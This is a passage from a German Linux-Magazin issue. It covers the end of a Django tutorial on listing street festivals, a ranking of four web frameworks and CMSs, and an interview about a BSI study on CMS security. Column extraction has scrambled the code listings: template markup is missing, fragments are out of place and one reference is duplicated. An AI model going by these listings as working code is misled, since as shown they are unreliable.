Daten des aktuellen Monats anzeigen.<br />

Dann legt der Entwickler für die Klasse<br />

ein »queryset« fest. Das versammelt alle<br />

Elemente, auf die das Template später Zugriff<br />

erlaubt. Dazu ruft Django die Klasse<br />

des Modells »StrassenFest« auf, das gerade<br />

implementiert wurde.<br />

Abbildung 1: Die vom Autor genutzte IDE heißt Pycharm, im Bild zu sehen ist die geöffnete Datei »views.py«.


Titelthema<br />

www.linux-magazin.de Django 11/2013<br />

42<br />

01 from django.conf.urls import patterns, include, url<br />

02 from .views import StrassenFestList<br />

03<br />

04 urlpatterns = patterns('',<br />

05 url(r'^$', StrassenFestList.as_view(),<br />

06 )<br />

07<br />

01 {% extends 'base.html' %}<br />

02 {% block content %}<br />

03 <br />

04 {% csrf_token %}<br />

05 <br />

06 <br />

07 <br />

08 <br />

09 <br />

10 <br />

11 <br />

12 {% for data in object_list %}<br />

13 <br />

14 <br />

15 {{ data.bezeichnung }}<br />

Die Methode »objects.filter()« schränkt<br />

die aus der Datenbank ausgegebenen<br />

Elemente ein, mit dem Parameter »von__<br />

year« auf die Elemente aus dem aktuellen<br />

Jahr. Das Gleiche gilt für die Monate mit<br />

»von__month«. Der Befehl »order_by()«<br />

ordnet die Elemente.<br />

Mehr ist in den Views anfangs nicht zu<br />

tun. Django sucht nun automatisch nach<br />

dem passenden Template, in diesem Fall<br />

unter »templates/streetparty/strassenfest_list.html«.<br />

Es kann aber über das<br />

Attribut »template_name« auch eine andere<br />

Vorlage wählen. Die Standardauswahl<br />

basiert auf dem Namen der Klasse<br />

und der hier benutzten Class-based View.<br />

Zusätzlich muss der Django-Entwickler<br />

den Ordner »templates/streetparty« im<br />

»streetparty«-Verzeichnis anlegen.<br />

Selbstdarsteller<br />

Anschließend knöpft er sich die Datei zur<br />

Darstellung im Browser vor (Listing 5).<br />

In »strassenfest_list.html« steht die Liste<br />

»object_list« zur Ausgabe in Django bereit.<br />

Die Framework-eigene Template Engine,<br />

die in den Templates ihren Auftritt<br />

hat, lässt sich bei Bedarf austauschen.<br />

Django-Projekte bauen ihre Templates<br />

meist modular auf, diese Möglichkeit<br />

bietet auch die Template Engine.<br />

Im Beispiel fußt das Template auf einem<br />

Basis-Template, von dem es über den<br />

Befehl »{% extends %}« erben kann.<br />

Im Basis-Template lassen sich dann mit<br />

»{% block %}« an verschiedenen Stellen<br />

im Markup Blöcke anlegen, etwa für In-<br />

16 Von {{ data.von|date:"d.m.Y" }} bis {{ data.bis|date:"d.m.Y" }}<br />

17 <br />

18 <br />

19 {% endfor %}<br />

20 <br />

21 <br />

name='feste'),<br />

22 {% endblock %}<br />

Listing 6: »urls.py«<br />

Listing 7: »strassenfest_list.html«<br />

halte oder einzelne CSS-Definitionen. In<br />

der Datei »strassenfest_list.html« gibt am<br />

Anfang eine Liste die Feste aus. Dank des<br />

For-Operator durchläuft das Konstrukt<br />

alle Elemente aus »object_list«. Das erlaubt<br />

den Zugriff auf einzelne Elemente,<br />

in diesem Fall Objekte, zum Beispiel auf<br />

das Feld »bezeichnung« über »{{ data.<br />

bezeichnung }}«.<br />

Um das Datum in einem lesbaren Format<br />

darzustellen, benutzt Zeile 10 den »date«-<br />

Filter. Django bietet standardmäßig verschiedene<br />

Filter und Tags für Templates<br />

an, die man selber erweitern kann.<br />

Nach der Logik passt nun auch die Darstellung.<br />

Fehlt noch die URL zum Aufrufen<br />

im Browser, also das Routing. Diese<br />

URLs muss Django fast immer neu festlegen,<br />

unter »streetparty/urls.py« befinden<br />

sich die URL-Definitionen für die App<br />

(Listing 6).<br />

Das Beispiel braucht nur eine URL, die<br />

sich aus der relativen URL, der aufzurufenden<br />

View und dem Namen der URL<br />

zusammensetzt. Die URL selbst kann mit<br />

Hilfe regulärer Ausdrücke Parameter abfangen<br />

und an die View weitergeben. Der<br />

Name ist nötig, um nicht direkt die URL<br />

in die Templates schreiben zu müssen.<br />

Django soll sich die URL selbst zusammenbauen,<br />

denn so lässt sie sich ohne<br />

Nachteile für die Nutzbarkeit ändern.<br />

Verwendet der Entwickler CBV, muss er<br />

eine CBV-Methode aufrufen, konkret die<br />

Methode »as_view()«. Ruft er das Beispiel<br />

jetzt im Browser auf, müsste sich unter<br />

der entsprechenden URL eine Liste mit<br />

Veranstaltungen in diesem Monat befinden<br />

(Abbildung 2).<br />

Soll der Nutzer nur die Veranstaltungen<br />

in einem bestimmten Zeitraum finden,<br />

also zwischen zwei Daten, kommen der<br />

Einfachheit halber zwei Input-Felder vom<br />

Typ »date« und mit den Namen »von«<br />

und »bis« zum Einsatz, die Listing 7 ergänzt.<br />

Diese Felder sollten sich in einem<br />

Formular befinden. Als Formular-URL<br />

Listing 8: »views.py«<br />

01 # überschreibt Klasse aus Listing 4<br />

02 class StrassenFestList(ListView):<br />

03 def get_queryset(self):<br />

04 qs = StrassenFest.objects.order_by('von')<br />

05 form_data = self.request.POST<br />

06 if 'von' in form_data and 'bis' in form_data:<br />

07 qs = qs.filter(von__gte=form_data['von'], bis__lte=<br />

form_data['bis'])<br />

08 else:<br />

09 today = timezone.now()<br />

10 qs = qs.filter(von__year=today.year, von__month=<br />

today.month)<br />

11 return qs<br />

12<br />

13 def post(self, *args, **kwargs):<br />

14 return self.get(*args, **kwargs)


Abbildung 2: Django zeigt nun eine Liste der geplanten Feste an. Diese lässt<br />

sich jetzt in das passende Stylesheet der <strong>Web</strong>seite einbetten.<br />

dient der URL-Befehl der Template Engine:<br />

»{% url "feste" %}«. Das Formular<br />

braucht aus Sicherheitsgründen ein<br />

CSRF-Token [6], das der Programmierer<br />

mit »{% csrf_token %}« einbindet. Vergisst<br />

er dies, nimmt Django die »POST«-<br />

Daten nicht an – ein Sicherheitsaspekt,<br />

an dem er nicht vorbei kommt.<br />

Das Formular nutzt dieselbe URL wie für<br />

die eigentliche Seite, um die gleiche View<br />

aufzurufen. Will der Entwickler die Daten<br />

verarbeiten, muss er die View erweitern,<br />

indem er die Klasse »StrassenFestList()«<br />

überschreibt (Listing 8).<br />

Das Skript ruft die »post()«-Methode der<br />

Klasse »ListView« auf, sobald »POST«-<br />

Daten übergeben werden. Letztere speichert<br />

ein Request-Objekt und macht sie<br />

so für die Methode nutzbar. Das Beispiel<br />

verwendet einen neuen Filter. Der Befehl<br />

»von__gte« steht für „Gib mir alle Elemente,<br />

die größer als oder gleich dem<br />

folgenden Datensatz sind“. Der Datensatz<br />

ist das Anfangsdatum des Filters. Beim<br />

Enddatum verhält es sich ähnlich, »lte«<br />

steht hier für kleiner oder gleich. Zeile 13<br />

und 14 übergeben die gefilterten Daten<br />

noch dem Kontext und rufen die Methode<br />

auf, die das Template dann rendert.<br />

Fazit<br />

Django ist durch seinen modularen Aufbau<br />

eher für große Projekte konzipiert,<br />

dank der CBV und der automatisierten<br />

Logiken dahinter lassen sich aber auch<br />

kleinere Projekte mit wenig Entwicklungsaufwand<br />

umsetzen. Hält sich der<br />

Entwickler an die Vorgaben<br />

und Anregungen<br />

der Django-Dokumentation<br />

und setzt diese<br />

effektiv ein, kann er<br />

stabile Anwendungen<br />

mit allen Django-Features<br />

entwickeln. Dies<br />

verlangt einen hohen<br />

Lernaufwand, aber<br />

die CBV vermeiden<br />

unnötigen Boilerplate-<br />

Code. Der Entwickler<br />

gewinnt Flexibilität<br />

und Sicherheit.<br />

Aufgrund seiner Modularität<br />

lässt sich das<br />

Beispiel auch leicht in<br />

andere Projekte integrieren,<br />

eine große Stärke von Django. Hinter<br />

Django steht eine große Community,<br />

die für fast jeden Anwendungszweck<br />

Tools und Plugins bereithält. Eine Schwäche<br />

liegt im langwierigen Setup-Prozess<br />

für neue Projekte: Wild drauf los zu programmieren,<br />

ist mit Django schwierig,<br />

wie wohl mit den meisten professionellen<br />

Frameworks. Wer es kleiner mag, sollte<br />

einen Blick auf die Django-Alternative<br />

Flask [7] werfen. (kki) <br />

n<br />

Infos<br />

[1] Django-Dokumentation:<br />

[https:// docs. djangoproject. com/ en/ 1. 5/]<br />

[2] Two Sccops of Django:<br />

[https:// django. 2scoops. org]<br />

[3] Django-Tutorial:<br />

[https:// docs. djangoproject. com/ en/ dev/​<br />

intro/ tutorial01/]<br />

[4] Datenquelle: [http:// daten. berlin. de/​<br />

datensaetze/ berliner‐und‐brandenburgervolks‐und‐stra%C3%9Fenfeste‐2013]<br />

[5] Berliner Bierfestival:<br />

[http:// www. bierfestival‐berlin. de]<br />

[6] CSRF: [https:// de. wikipedia. org/ wiki/​<br />

Cross‐Site‐Request‐Forgery]<br />

[7] CSRF: [https:// de. wikipedia. org/ wiki/​<br />

Cross‐Site‐Request‐Forgery]<br />

[8] Listings zum Artikel:<br />

[http:// www. linux‐magazin. de/ Ausgaben/​<br />

Listings/ 11/django]<br />

Der Autor<br />

Sven Schannak ist als Unternehmer und leidenschaftlicher<br />

Softwareentwickler an der wundervollen<br />

Ostsee tätig.


Titelthema<br />

www.linux-magazin.de Bewertung 11/2013<br />

46<br />

Die vier vorgestellten Lösungen im Direktvergleich<br />

Sieg programmiert<br />

Viele Wege führen ans Ziel, das gilt auch für die Wahl von Software für die <strong>Web</strong>site. Wer aber zuerst ankommt<br />

und unterwegs Angenehmes erlebt, ist klar im Vorteil. Der Versuch einer Podest-Zuweisung. Mathias Huber<br />

© kallejipp, photocase.com<br />

Durchs Ziel haben sie es alle geschafft:<br />

Sowohl mit Contao und Magnolia CMS<br />

als auch mit Rails und Django haben<br />

die beauftragten Experten eine funktionierende<br />

Veranstaltungsübersicht produziert.<br />

Der Unterschied besteht darin,<br />

mit welchen Mitteln und mit welchem<br />

Aufwand sie es getan haben.<br />

Stilfrage<br />

Differenzen zeigen sich aber auch im Arbeitsstil:<br />

Dass beispielsweise hinter Magnolia<br />

CMS das Räderwerk eines Unternehmens<br />

arbeitet, zeigte sich rasch. Die<br />

Firma beauftragte einen In-House-Entwickler,<br />

der innerhalb von zwei Wochen<br />

eine ansprechende Lösung produzierte<br />

und an die Redaktion schickte. Daneben<br />

war er der einzige, der neben dem Code<br />

auch noch mehrere Seiten Dokumentation<br />

einreichte, zudem eine vorbereitete<br />

Tomcat-Instanz zum Ausprobieren.<br />

Der Ruby-on-Rails-Mann installierte seine<br />

Anwendung dafür flugs öffentlich auf<br />

der Plattform Heroku,<br />

publizierte den Code<br />

auf Github und unterzog<br />

ihn den ständigen<br />

Tests des freien Con-<br />

tinuous-Integration-<br />

Tools Travis.<br />

Möchte man den Absolventen<br />

eine Rangfolge<br />

zuweisen, bietet<br />

es sich an, erreichte<br />

Features abzuhaken.<br />

Magnolia CMS hat<br />

die Daten erfolgreich<br />

importiert, verwendet<br />

einen Cache und<br />

bietet dem Anwender<br />

ein hübsches Kalender-Widget.<br />

Dazu<br />

kommt jedoch noch ein besonderes Feature:<br />

Sobald die Daten im Java Content<br />

Repository gespeichert sind, lassen sie<br />

sich über die Redaktionsoberfläche auch<br />

bearbeiten, sperren oder freigeben. Diesen<br />

im Testfeld einmaligen Zusatznutzen<br />

honoriert die Redaktion symbolisch mit<br />

dem ersten Platz.<br />

Das einzige, was man Magnolia ankreiden<br />

könnte, ist die etwas wortreiche<br />

Syntax der Programmiersprache Java. Da<br />

fassen sich die beiden Kandidaten Rails<br />

mit Ruby und Django mit Python merklich<br />

kürzer. Sie haben überhaupt einiges<br />

gemeinsam, denn sie folgen beide der Architektur<br />

Model-View-Controller (MVC)<br />

und verwenden einen Object-Relational-<br />

Mapper (ORM), der die Brücke zwischen<br />

SQL-Datenbank und objektorientierter<br />

Programmierung schlägt.<br />

Ruby kommt mit weniger Bearbeitung<br />

von Konfigurationsdateien aus, da es<br />

stärker nach dem Motto „Convention<br />

over Configuration“ ausgerichtet ist.<br />

Wenn ohnehin schon alle Komponenten<br />

vorgeschriebene Namen oder zumindest<br />

Namensmuster haben, bleibt nicht mehr<br />

viel zu konfigurieren. Doch nicht allein<br />

deshalb hat Ruby on Rails die Nase ein<br />

wenig vor Django. Der Rails-Entwickler<br />

hat in einem beherzten Coup gewagt,<br />

ganze Komponenten auszutauschen: Das<br />

Ruby-Framework dient ihm nur zum Umsetzen<br />

eines Datenservers, die Ansicht<br />

übernimmt Angular.js in Javascript. Dazu<br />

verwendet er noch ein Template-System<br />

seiner Wahl, verwaltet die Javascript-<br />

Bibliotheken mit dem Paketmanager<br />

Bower – und liefert die Tests für seine<br />

Anwendung gleich mit. Eine beeindruckende<br />

Demonstration von Flexibilität<br />

und Erweiterbarkeit. Das hätte fast für<br />

den ersten Platz gereicht, auf jeden Fall<br />

aber für die Nummer zwei.<br />

Schnell, aber zu Fuß<br />

Beim PHP-basierten Contao brauchte<br />

der Entwickler zwar nur einen einzigen<br />

Tag für seine Lösung, aber es waren insgesamt<br />

elf Dateien für die Umsetzung<br />

erforderlich, nur bei einzelnen könnte<br />

ein mitgelieferte Generator helfen. Das<br />

abgedruckte Listing zeigt, dass er auch<br />

Selbstverständliches wie den Speicherort<br />

der CSS-Stylesheets im Code angeben<br />

musste. Klug ist dagegen die Idee, den<br />

Eventkalender als Erweiterung zu implementieren<br />

– dafür umso enttäuschender,<br />

dass es keinen Installationsmechanismus<br />

für das fertige Modul gibt.<br />

Wer schließlich das so genannte Template<br />

für Contao betrachtet, vermisst schmerzlich<br />

die Trennung von Präsentation und<br />

Logik: Hier mischt sich eine HTML-Tabelle<br />

mit waschechtem PHP-Code. Und<br />

schließlich folgt noch ein regelrechtes<br />

K.-o.-Kriterium: Das Fehlen aktueller,<br />

brauchbarer Dokumentation. n


Titelthema<br />

www.linux-magazin.de Interview 11/2013<br />

48<br />

BSI-Studie zur CMS-Sicherheit<br />

Security-Matrix<br />

Für das deutsche Bundesamt für Sicherheit in der Informationstechnik (BSI) haben die Init AG für digitale<br />

Kommunikation und das Fraunhofer SIT die „Sicherheitsstudie Content Management Systeme“ angefertigt.<br />

Über diese hat das <strong>Linux</strong>-<strong>Magazin</strong> mit einem der Autoren, Christian Breitenstrom, gesprochen. Kristian Kißling<br />

Die Studie [1], auch zu finden auf der<br />

Delug-DVD, überprüft fünf quelloffene<br />

CMS anhand von etwa 80 Einzelkriterien<br />

auf ihre Sicherheit. Auf Basis der positiven<br />

(+), negativen (-) und vereinzelt<br />

neutralen (0) Bewertungen entstand am<br />

Ende eine vergleichende, CMS-übergreifende<br />

Matrix. Das <strong>Linux</strong>-<strong>Magazin</strong> befragt<br />

dazu Christian Breitenstrom, Senior Software<br />

Entwickler bei der Init AG.<br />

<strong>Linux</strong>-<strong>Magazin</strong>: Wer hat alles an der CMS-Studie<br />

mitgewirkt?<br />

Christian Breitenstrom: Neben meinem Arbeitgeber<br />

war auch das Fraunhofer SIT<br />

daran beteiligt, das unter anderem Sicherheitsuntersuchungen<br />

und Penetrationstests<br />

von Systemen vornimmt, die<br />

IT-Grundschutzschulungen für das BSI<br />

umsetzt und eine eigene Public-Key-Infrastruktur<br />

für die Fraunhofer Gesellschaft<br />

betreibt – ich schätze für über 20 000 Personen.<br />

Insofern hat das Fraunhofer SIT<br />

im Bereich Sicherheitsforschung einen<br />

sehr guten Einblick in Vorgehensmodelle<br />

und Methoden, weiß, wie man Software<br />

testet und bewertet.<br />

<strong>Linux</strong>-<strong>Magazin</strong>: Wie ist die Init AG für digitale<br />

Kommunikation dazu gekommen?<br />

Christian Breitenstrom: Wir entwickeln seit<br />

über 15 Jahren Portale und <strong>Web</strong>sites für<br />

Regierungen und Verwaltungen, NGOs<br />

und die Wirtschaft. In vielen dieser Projekte<br />

setzen wir CMS ein.<br />

Da wir viele <strong>Web</strong>sites in unserem BSIzertifizierten<br />

Rechenzentrum betreiben,<br />

haben wir einen ganz guten Vergleich der<br />

eingesetzten CMS. Deswegen wissen wir,<br />

wie ein gut aufgesetztes Patch-Management<br />

funktioniert, welche Probleme und<br />

Fragen dabei immer wieder auftauchen<br />

und welche Fragen daraus resultieren.<br />

Wir blicken, im Unterschied zum Fraunhofer<br />

SIT, eher mit der Anwenderbrille<br />

auf IT-Sicherheit.<br />

Abbildung 1: Plone unterscheidet sich nicht nur in seiner Architektur von den anderen Systemen.<br />

© Quelle: Sicherheitsstudie CMS<br />

<strong>Linux</strong>-<strong>Magazin</strong>: An wen richtet sich diese Studie?<br />

Christian Breitenstrom: Wir haben gemeinsam<br />

mit dem BSI definiert, dass die Zielgruppe<br />

aus Personen besteht, die ein<br />

Mindestmaß an technischem Verständnis<br />

mitbringen, die also in der Regel die<br />

Entscheider sind, die in ihren Organisationen<br />

Systeme auswählen und dafür verantwortlich<br />

sind, dass diese über Jahre<br />

hinweg sicher laufen.<br />

<strong>Linux</strong>-<strong>Magazin</strong>: Konkret untersucht die Studie<br />

fünf CMS, nämlich Typo 3, Plone, Wordpress,<br />

Drupal und Joomla. Warum nur fünf, wenn es um<br />

Orientierung im CMS-Dschungel geht?<br />

Christian Breitenstrom: Ausschlaggebend<br />

war für das BSI auch die Budgetfrage. Jedes<br />

weitere System, das man untersuchen<br />

will, kostet. Das Budget war vorgegeben,<br />

also musste man die Zahl begrenzen.<br />

<strong>Linux</strong>-<strong>Magazin</strong>: Warum haben Sie genau diese<br />

fünf Vertreter ausgewählt?<br />

Christian Breitenstrom: Wir haben uns auf<br />

die fünf Systeme konzentriert, die aus<br />

BSI-Sicht in Deutschland sehr verbreitet<br />

sind, da zur Zielgruppe vor allem deutsche<br />

Entscheider gehören, nicht internationale.<br />

Die nächste Frage ist, warum<br />

nur Open-Source-Systeme und keine<br />

kommerziellen?<br />

<strong>Linux</strong>-<strong>Magazin</strong>: Genau.<br />

Christian Breitenstrom: Das haben wir uns<br />

natürlich auch überlegt. Es ist nicht gerechtfertigt,<br />

die Studie auf genau die Systeme<br />

und genau diese Anzahl zu begrenzen.<br />

Man muss vielmehr eine Methodik<br />

und Kriterien entwickeln, nach denen<br />

man andere Systeme genauso bewerten<br />

kann, wie wir es hier getan haben.<br />

Dann könnte ein Auftraggeber, der ein<br />

von uns nicht bewertetes System verwenden<br />

möchte, eine eigene Evaluation<br />

vornehmen und das Ergebnis im Sinne<br />

von Open Source und Open Knowledge


© Quelle: Sicherheitsstudie CMS<br />

Interview 11/2013<br />

Titelthema<br />

www.linux-magazin.de<br />

49<br />

Abbildung 2: Das sind nur einige der Kriterien aus dem ITIL-Bereich, die im Rahmen der Studie bewertet wurden.<br />

einfach dazustellen. Kommt dabei eine<br />

genügend große Anzahl von bewerteten<br />

Open-Source-Systemen zusammen,<br />

müssten kommerzielle Hersteller ebenso<br />

ein Interesse daran haben, da mit aufzutauchen.<br />

Ein unabhängiger Dritter könnte<br />

dann so eine Studie durchführen.<br />

<strong>Linux</strong>-<strong>Magazin</strong>: Plone (Abbildung 1) weicht ein<br />

bisschen vom Standard ab. Sie haben eine Tabelle<br />

in der Studie, relativ am Anfang, welche<br />

den Marktanteil von Plone auf 0,37 Prozent<br />

schätzt, was sehr wenig ist im Vergleich zu den<br />

anderen CMS. Warum haben Sie Plone mit in die<br />

Studie genommen?<br />

Christian Breitenstrom: 0,37 Prozent sind<br />

nicht viel, aber es gibt mindestens ein<br />

Bundesministerium, das Plone verwendet,<br />

und einige regionale Sites tun es<br />

auch. Auf die Verwaltung bezogen ist es<br />

nicht unwichtig.<br />

<strong>Linux</strong>-<strong>Magazin</strong>: Die untersuchten Kriterien<br />

stammen aus dem ITIL-Bereich [2], also Service<br />

Design, Service Transition, Service Operation.<br />

Nach welchem Schema haben Sie die einzelnen<br />

Kriterien (Abbildung 2) gefunden, die Sie dort<br />

bewerten, also auch die Unterkriterien innerhalb<br />

der drei Bereiche?<br />

Christian Breitenstrom: Die Frage war natürlich,<br />

welche Kriterien sind so allgemein,<br />

dass sie nicht nur für die Systeme gelten,<br />

die wir jetzt untersuchen. Wir haben<br />

anfangs nicht nur PHP- oder Python-<br />

Systeme betrachtet, deswegen sind auch<br />

einige Kriterien dabei, die Java-Systeme<br />

berücksichtigen. Wie wir dabei vorgegangen<br />

sind? Es gab verschiedene Optionen,<br />

etwa Open SAMM [3], das offene<br />

Software Assurance Maturity Model. Die<br />

Wahl fiel auf ITIL, weil es eben nicht nur<br />

die Software betrachtet, sondern auch<br />

die Entwicklung der Software, ihre Konzeption,<br />

das Deployment, das Leben damit<br />

und ihre Entsorgung. Wenn man ein<br />

CMS über Jahre hinweg sicher betreiben<br />

möchte und vor einer Vergabeentscheidung<br />

steht, muss man all diese Aspekte<br />

berücksichtigen.<br />

<strong>Linux</strong>-<strong>Magazin</strong>: Einige der Kriterien definieren<br />

Sie als Ausschlusskriterien, ihr Fehlen als „undenkbares<br />

Manko“. Sie haben auf Seite 76 der<br />

Studie geschrieben, dass kein System die Trennung<br />

von fachlichen Daten und Systemdaten<br />

beherrscht. Wäre das nicht ein Ausschlusskriterium<br />

für öffentliche Systeme gewesen, die mit<br />

personenbezogenen Daten arbeiten?<br />

Christian Breitenstrom: Nein, das ist nicht<br />

unbedingt ein Ausschlusskriterium. Wenn<br />

man es weiß und es transparent ist, muss<br />

sich der zuständige Security Engineer<br />

überlegen, welche anderen Elemente er<br />

etabliert, um das Manko zu kompensieren.<br />

Er kann aber nicht, wie das oft geschieht,<br />

schlicht sagen: „Dieses Security-<br />

Feature gibt es nicht? Na gut, dann brauchen<br />

wir es nicht umzusetzen.“<br />

<strong>Linux</strong>-<strong>Magazin</strong>: Was kann man denn konkret tun,<br />

wenn diese Trennung zwischen fachlichen Daten<br />

und Systemdaten komplett fehlt?<br />

Christian Breitenstrom: Manche Datenbanksysteme<br />

ermöglichen eine Komplettverschlüsselung<br />

der Daten. In diesem Fall<br />

muss man entweder alles, was in der Datenbank<br />

steht, oder die Partitionen selbst<br />

verschlüsseln. Auch muss man überlegen,<br />

ob eine Verschärfung des Konzepts<br />

für Benutzer-Rollenrechte nötig ist.<br />

Was wir natürlich für sehr gut hielten,<br />

das wäre, wenn man bestimmte Bereiche<br />

der Daten tatsächlich vor der Anwendung<br />

schon verschlüsselt, bevor diese sie in<br />

die Datenbank schreibt. Dazu gehören<br />

etwa Logging-Informationen, die später<br />

für Audits verwendet werden, wenn der<br />

Anwender das Kriterium der Nachvollziehbarkeit<br />

erfüllen muss. Diese Loggings<br />

erhalten oftmals Informationen, die aus<br />

datenschutzrechtlicher Sicht nicht in falsche<br />

Hände fallen dürfen.<br />

Wir hätten uns natürlich gewünscht,<br />

dass es ein Feature gibt, mit dessen Hilfe<br />

ein Anwendungsentwickler sagen kann:<br />

„Hier, das sind meine besonders wichtigen<br />

Daten, die behandle mal besonders<br />

umsichtig.“ Das gibt es aber momentan<br />

nicht.<br />

<strong>Linux</strong>-<strong>Magazin</strong>: Die Studie sagt, dass kein CMS<br />

eine schlüsselfertige Lösung mitbringt, wenn<br />

es um Sicherheit geht. Das heißt, der Anwender<br />

muss im Prinzip bei allen erst mal nachbessern<br />

und konfigurieren. Hat sich da irgendwas herauskristallisiert,<br />

was Sie empfehlen im Umgang<br />

mit CMS?<br />

Christian Breitenstrom: Es ist ganz wichtig,<br />

dass man jetzt nicht sagt, System X ist<br />

besser als A, B oder C und deswegen


Titelthema<br />

www.linux-magazin.de Interview 11/2013<br />

50<br />

kann man System X einfach so installieren<br />

und betreiben, wie es ist. Wir empfehlen,<br />

eine Erstinstallation durch Security-Profis<br />

überprüfen zu lassen. Das dauert nicht<br />

lange, weil die genau wissen, wohin sie<br />

gucken müssen.<br />

Das zweite war, dass man die Systeme<br />

professionell betreibt. Alle Systeme,<br />

auch wenn einige sicherer sind als andere,<br />

sollte der Anwender mindestens<br />

15 Minuten am Tage monitoren. Über<br />

die 15 Minuten lässt sich streiten, aber<br />

wichtig ist, dass wir sagen: täglich. Treten<br />

Schwachstellen auf und werden Security<br />

Fixes ausgeliefert, dann gibt es auch Exploits,<br />

die diese Schwachstellen automatisiert<br />

austesten. Es reicht nicht, alle drei<br />

Wochen mal nachzusehen.<br />

<strong>Linux</strong>-<strong>Magazin</strong>: Hilft es, wenn der Betreiber von<br />

den Standards abweicht, indem er den Standarduser<br />

nicht »Admin« nennt, die Namen der Datenbanktabellen<br />

modifiziert und gleich bei der<br />

Grundkonfiguration einige Dinge im System ändert?<br />

Oder erschwert das eher den Umgang mit<br />

so einem CMS?<br />

Christian Breitenstrom: Das kommt auch<br />

wieder auf das System an: In der Regel<br />

hilft es schon eine Menge. Es geht ja um<br />

eine Verteidigung in der Tiefe und jede<br />

Schwierigkeit, die ich einbaue, bewahrt<br />

mich vielleicht einige Minuten länger davor,<br />

dass ein Angreifer meine Hinterlist<br />

entdeckt und bekämpft. Sobald wir aber<br />

in den Bereich Security by Obscurity kommen,<br />

hilft mir das überhaupt nicht lange.<br />

Insofern muss man im Einzelfall gucken,<br />

ob das angebracht ist oder nicht.<br />

<strong>Linux</strong>-<strong>Magazin</strong>: Was genau meinen Sie mit „Verteidigung<br />

in der Tiefe“, in der Studie taucht es ja<br />

einige Male auf?<br />

Christian Breitenstrom: Das ist eines der<br />

grundlegenden Prinzipien. Contentmanagement-Systeme<br />

sind weithin verbreitet.<br />

Tritt dort ein Fehler auf, der sich<br />

ausnutzen lässt, sind Hunderte oder Tausende<br />

von <strong>Web</strong>sites betroffen. Das heißt<br />

also, es ist eigentlich eine Monokultur.<br />

Habe ich nicht rechtzeitig gepatcht oder<br />

gibt es einen Zero-Day-Exploit, den noch<br />

niemand gemeldet hat, muss ich mindestens<br />

eine, wenn nicht zwei oder drei<br />

Rückfalllinien haben, um meine Systeme,<br />

meine innere Infrastruktur, gegen diese<br />

Angriffe zu schützen.<br />

In diesem Fall kann ich mir überlegen,<br />

welche Security-Kontrollen ich benutzen<br />

will, um etwa meine Datenbankserver<br />

© Quelle: Sicherheitsstudie CMS<br />

Abbildung 3: Durchschnittliche Verteilung der Schwachstellentypen unter allen CMS.<br />

vor dem Contentmanagement-Server<br />

zu schützen, der gegebenenfalls schon<br />

übernommen wurde. Wenn ich ein CMS<br />

einsetze, muss ich also sehr viel mehr<br />

Ideenreichtum, Kreativität, Know-how<br />

und Untersuchungen in die Konzeption<br />

meiner <strong>Web</strong>site und meiner Infrastruktur<br />

stecken. Ich darf mich nicht nur darüber<br />

freuen, dass die Kosten reduziert sind,<br />

sondern muss meine Infrastruktur besser<br />

strukturieren, als wenn ich eine Individualentwicklung<br />

verwende.<br />

<strong>Linux</strong>-<strong>Magazin</strong>: Dann haben Sie Schwachstellenzählungen<br />

vorgenommen (Abbildung 3). Sie<br />

haben in einem bestimmten Zeitraum, 2010 bis<br />

2012, die Schwachstellen dieser verschiedenen<br />

Systeme untersucht. Was hat diese Erhebung Ihrer<br />

Meinung nach gebracht?<br />

Christian Breitenstrom: Sie gibt eine grobe<br />

Orientierung, insofern man feststellen<br />

kann, dass es zwar Unterschiede gibt,<br />

diese aber nicht in Zehner- und Hunderter-Potenzen<br />

bestehen. Man kann sagen,<br />

dass die Open-Source-Systeme – ganz<br />

grob betrachtet – in einer Liga spielen.<br />

Hätte sich herausgestellt, dass es bei einem<br />

System sehr viel mehr Bugs gibt als<br />

bei anderen, dann wäre das schon eine<br />

Aussage gewesen.<br />

<strong>Linux</strong>-<strong>Magazin</strong>: Oder das CMS hat einfach besonders<br />

viele Erweiterungen oder besonders viele<br />

Nutzer?<br />

Christian Breitenstrom: In diesem Fall würde<br />

man schauen müssen, ob es tatsächlich<br />

nur die Vielzahl von Erweiterungen ist<br />

oder ob es einen grundlegenden Architekturmangel<br />

gibt, der immer wieder<br />

dazu führt, dass es kompliziert wird, für<br />

dieses System sichere Erweiterungen zu<br />

bauen.<br />

Eine Schwierigkeit besteht darin, dass<br />

die erkannten Schwachstellen natürlich<br />

von der Anzahl der Tests, von tatsächlichen<br />

Hacks sowie von der Fähigkeit des<br />

Security-Teams abhängen, die Schwachstellen<br />

zu erkennen. Wir mussten beispielsweise<br />

im Nachhinein feststellen,<br />

dass bei Plone sehr viele Schwachstellen<br />

zwar gefixt und auch die CVE-Numbers<br />

reserviert wurden, aber die zugehörigen<br />

CVEs dann nicht im Verzeichnis auftauchen.<br />

So reflektierten die dortigen Zahlen<br />

schon mal nicht die Zahlen, die tatsächlich<br />

gemeldet waren.<br />

<strong>Linux</strong>-<strong>Magazin</strong>: Es gibt bekanntlich die Möglichkeit,<br />

statische Code-Analysen vorzunehmen,<br />

zum Beispiel mit Coverity. Die haben ziemlich<br />

viele FOSS-Projekte untersucht, aber es ist keines<br />

von diesen CMS dabei. Wäre es nicht auch<br />

eine Option gewesen, solche Tests in die Studie<br />

mit aufzunehmen?<br />

Christian Breitenstrom: Das Problem von<br />

Coverity ist, dass die momentan kein<br />

PHP unterstützen, insofern sind diese<br />

Systeme nicht dabei. Aber ja natürlich,<br />

statische Quellcode-Analysen sind auch<br />

eine der wichtigen Maßnahmen, die wir<br />

empfohlen haben.<br />

<strong>Linux</strong>-<strong>Magazin</strong>: Gab es für Sie eine Überraschung<br />

in den Ergebnissen der Studie?<br />

Christian Breitenstrom: Überraschungen gab<br />

es schon: Was das Patch-Management anbelangt,<br />

habe ich mich über einige Dinge<br />

gefreut, die ich so noch nicht kannte.<br />

Etwa darüber, dass die Unterstützung der<br />

Administratoren schon so weit geht, wie<br />

es momentan der Fall ist, und dass man<br />

eigentlich relativ gut informiert wird,<br />

wenn Patches vorliegen. <br />

n<br />

Infos<br />

[1] CMS-Studie im Netz: [https:// www. bsi.​<br />

bund. de/ DE/ Publikationen/ Studien/ CMS/​<br />

Studie_CMS. html]<br />

[2] Information Technology Infrastructure Library:<br />

[http:// www. itil. org/ en/ vomkennen/​<br />

itil/ index. php]<br />

[3] Open Software Assurance Maturity Model:<br />

[http:// www. opensamm. org]


In eigener Sache: DELUG-DVD<br />

Privatsphäre, Debconf, Java<br />

Einführung 12/2010 11/2013<br />

Software<br />

Die DELUG-Käufer bekommen eine randvolle DVD: Auf der Silberscheibe finden sich die neueste Version der<br />

